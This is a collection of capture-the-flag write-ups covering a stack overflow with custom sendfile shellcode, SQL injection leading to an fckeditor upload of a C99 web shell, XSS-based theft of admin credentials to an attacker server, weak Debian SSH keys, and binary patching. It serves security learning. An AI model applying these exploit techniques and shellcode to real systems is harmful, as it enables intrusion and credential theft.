Question: KimJongUnd

We lost many time on this exploitation challenge for many reasons.

The vulnerability is when you input the command line after the password, there is a buffer overflow and you can control EIP.

Our buffer is on the stack so we spend some time finding a nice ROP gadget like this one:

.text:08048850 55 push ebp

.text:08048851 89 E5 mov ebp, esp

.text:08048853 FF E4 jmp esp

We have around 50 bytes available. Since we are in a forked daemon using socket we will first go for a shellcode that will read the command from the socket and output back to the socket.

But this is a decoy... after investigating, a mount -o bind has been done after the daemon has been started and is obscuring the true content of the key.

So this solve this challenge, we need to notice that, at start, the daemon open a file description to the key. This file descriptor relates to the true key file and is stored in a very convenient global variable.

.text:08048B67 8B 5D 08 mov ebx, [ebp+fd]

.text:08048B6A C7 44 24 04 00 00 00 00 mov dword ptr [esp+4], 0 ; oflag

.text:08048B72 C7 04 24 11 90 04 08 mov dword ptr [esp], offset file ; "/home/kimjongun/key"

.text:08048B79 E8 6E FA FF FF call _open

.bss:0804B0A4 ; int fd

.bss:0804B0A4 ?? ?? ?? ?? fd dd ? ; DATA XREF: sub_8048860+1Cr

Where to send the content of this file ? To the open socket of course, which is in a global variable as well:

.bss:0804B0A0 ?? ?? ?? ??                                     dword_804B0A0   dd ?                    ; DATA XREF: sub_8048B60+2Dw

Given the limited space available, I went with a custom shellcode using the kernel syscall sendfile():

[SECTION .text]

global _start



 jmp short ender



_start:

 xor eax, eax ;clean up the registers



 mov [esp], eax

 mov al, 0xbb ; sendfile() syscall

 mov ecx, [0x804B0A0] ; out-fd

 mov ebx, [0x804B0A4] ; in-fd

 mov edx, esp ; *offset

 mov esi, 256 ; size

 int 0x80



 xor eax, eax

 mov al, 1 ;exit the shellcode

 xor ebx,ebx

 int 0x80

ender:

 call _start

 dd 0

A little trick, we need to ask sendfile() to start from offset 0 of the file, otherwise it will only work the first time.

Python code to send payload:

Result:

$ python kim4.py kimjongun.final2012.ghostintheshellcode.com 2645

Received 'Password: '

Received 'Welcome shitty wok, may a taka oda prez?\n'

Received 'Goddamn Mongorians! Quit breakin down my shitty wall!!!\n!All_Hail_Fearress_Reader!\n'

Key: !All_Hail_Fearress_Reader!

great microprocessor.. port 4004.. waiting for program... Could this be an Intel 4004 emulator ?

Checking the documentation for the Intel 4004 we see it had a 4096 bytes PROM so we send 4096 bytes down the down and indeed:

In-memory.. so it probably means the key is in the memory of the emulator. We use http://e4004.szyc.org/ a lot to design some code that will scan all the memory and send it to the ROM port.

Intel 4004 code:

We use the assembler on the website to get the object code and we send this using a simple python program:

#!/usr/bin/env python



# aXs ^ Big-Daddy



import socket

import sys

import time



if len(sys.argv) != 3:

 print '\nUsage:\t./inmemory.py [host] [port]'

 sys.exit(1)



host = sys.argv[1]

port = int(sys.argv[2])



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating Socket

s.connect((host, port)) # Connecting to socket



data = s.recv(65536)

print 'Received', repr(data)

data = s.recv(65536)

print 'Received', repr(data)



crash = '\xD0\xFD\x20\x00\x22\x00\xDC\xB2\x21\xE9\xE2\x71\x08\x70\x08\x72\x08'



crash += '\x00' * (4096 - len(crash))



s.send('%s' %crash);



while 1:

 line = s.recv(4096)

 if not line:

 break

 print 'Received', repr(line)



s.close()

The emulator was *very* unreliable on the challenge service and you needed to run your like 20 times.

Result:

You need to rerun it with the top LDM changed to 1 so switch to another RAM bank.

The pattern is repeated several times: 546f6c64596f7549546f6c64596f7 = ToldYouI

You keep converting until you have the full key assembled from all the RAM memory regions

Key: ToldYouItWasInMemory

This website is actually full of sql injections in the various parameters.

For example:

http://114.201.226.217:5454/board/delete.html?mode=form&delete_uno=[sqli here]

We first tried to exploit this and managed to dump all the databases on the server. But the key wasn't there.

We then tried to peruse the disk content using the FILE privilege of the user. We downloaded all the relevant files of the challenge but the source code didn't show any vulnerability that would allow us to inject PHP.

We tried to upload some PHP shell using the sql injection but we couldn't find a writable directory that would be in the DocumentRoot and writable by the MySQL process.

Finally, we noticed that one of the form was using the fckeditor 2.6.6 and that the PHP upload connectors was enabled.

Using the sql injection file read, we dumped the fckeditor config and found the following relevant part:

Conveniently the fckeditor test file were still there: http://114.201.226.217:5454/board/fckeditor/editor/filemanager/connectors/test.html

We played with it but, because of the whitelist in the config file, we couldn't upload php or html files except into a special category named "Invalid type (for testing)"

This was strange because this category wasn't in the fckeditor config file.

Then it occured to me that if we were able to list the folders and files in this category using the fckeditor test uploader, it means the file were still uploaded somewhere. But where?

Still using the sql injection, we downloaded the fckeditor source code for the connectors and noticed a vulnerability has been introducted:

Notice how $sResourceTypePath is now not checked anymore against the config file. So the "Invalid category" files will be located in "..\\..\\..\\..\\..\\userfiles\\" relative to the connector + "Invalid"

We uploaded a C99 shell to the invalid folder and used it to find the key file located in the htdocs folder:

key is : webvuln3r4bility

The first surprise is that there is absolutely no packing or obfuscation of the binary, it decompiles cleanly in IDA.

What we see is that it's a classic OpenGL application with OpenGL init and a frame loop. I used to be a demoscene coder that wrote his own 3D engine so this looked very familiar.

We will first use glIntercept to get a log file with all the OpenGL calls and their parameters: http://glintercept.nutty.org/

glIntercept comes with a replacement DLL that will be loaded by the binary when initializing OpenGL.

In the log file produced we can see a few interestings things:

The background color is black.

But our draw color is black also, black on black = ... black

At the end of the frame drawing, we draw a huge rectangle all over the screen in white.

So we know that we have to do, for a start, 2 things:

• Change the default draw color to white so we can see something
• Remove the huge rectangle from the view so we can see something also

Change the default color to white:

Jump over the huge rectangle:

At this point we see now a black background, "KEY" written in white lines and many letters written in vectors randomly moving on the screen. We are on the right way.

Now we need to remove the randomness in the key letters placement and put them next to each others so we can read the flag.

Since the positionning sub is the same for all the letter, I choose to use the space previously allocated to the rand() calculation to write my new opcodes.

Also to avoid having to patch all the other sub functions drawing letter that do a glPopMatrix, we will just put a glPushMatrix at the end of the positioning function, this way the result is neutral.

New opcodes added to positioning sub:

And we are done. The resulting application will looks like this:

Key is "sc4#3sr1u30*0"

This challenge was really fun to do and original.

Given the capture is really short, we immediately focus on this SSH session. Decrypting SSH without prior knowledge of the private keys is not an easy feat' except in one particular case: if one of the client or server key was generated on a Debian machine during the OpenSSL fiasco.

In 2008, Debian shipped with a flawed openssl package that resulted in keys with very weak entropy, in other words, predictable keys: http://www.debian.org/security/2008/dsa-1571

Let see if this is the case. First we split this capture file in session file that can be used by our bruteforcer tool. For this job, we use tcpick (available as Debian package)

Now we can use one of the SSH bruteforcer specially designed to handle those weak keys. I choose the client mode (-c) because in the capture file you can see that the client's OpenSSH version is much older than the server.

We have deciphered the SSH exchange and we can know see what the user typed into this SSH terminal:

I used Ded+Sooth to decompile the apk. We can see the application was made with the app generator tool AppInventor so we search for a Screen1.class which we find in: appinventor/ai_stratos/CSAW2011CTF/

Ded cannot fully decompile this class file, we get an exception so we will have to work with the intermediate Jasmin file.

It's a large file but after a bit of staring we locate this section:

Hash ? Lets try that.. validated. So this was the key: bdd2e9488929399071a72991e196e6d0

A robot will visit any link you post in the contact form, this robot is at the same time logged in the site's administrator account.

The key vulnerability in this application is that the AJAX calls aren't returning JSON.. they are returning Javascript expressions. This make it much easier to exploit because we don't need to do any cross-domain calls.

One particularly interesting page is the self.php page that give to the connected user some informations about his account: username and password

The content of this page is built using ... AJAX calls that fetch Javascript expressions containing an array with the username and password. You see were we are going.

One hint given by the CTF team is that the internal IP of the web server as seen from the administration's point of view is 192.168.4.4

So normaly, the url is http://csawctf.poly.edu:40004/challenge2/json/getcurrent.js

From the administrator's point of view, it will be http://192.168.4.4/challenge2/json/getcurrent.js

So we need:

• a way to fetch the javascript from this url
• send it back to a server we control

We did something very simple following a bright idea of our team-mate fser: using a script tag to fetch the remote Javascript expression. Then we use some javascript to update a form's hidden fields with the username and password and we submit the form to our remote server. That's it.

Code for the page the robot (administrator of the site) will visit:

Code for the data stealer targeted by our auto-submitted form: (nothing special)

When the robot hit our page, we get the result in our log file:

a:0:{}
a:2:{s:8:"username";s:13:"administrator";s:8:"password";s:40:"2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8";}

Now we log on the website with this username and password and we get the key on the frontpage. We are done.

We have to decrypt this file to get the key.

The executable is a pure .NET assembly so we can use ILSpy: http://wiki.sharpdevelop.net/ILSpy.ashx

We get this quickly:

We notice the Decrypt function is not part of the binary, we have to write it ourselve.

This could take a lot of time if you don't first study a little bit the ProcessBlock function. Googling "2654435769" will bring up a very interesting article: http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm

Now, the implementation code on Wikipedia don't exactly match the code in our binary, it's missing the round stuff. That feature was introduced in TEA's successor: http://en.wikipedia.org/wiki/XTEA

There the code matchs perfectly. We only have now to code the Decrypt function following the implementation example on Wikipedia.

This give something like:

We run it with our encrypted file as parameter and get a new decrypted file with the key:

key{  f79b5967afade81c142eab7e4b4c9a3b  }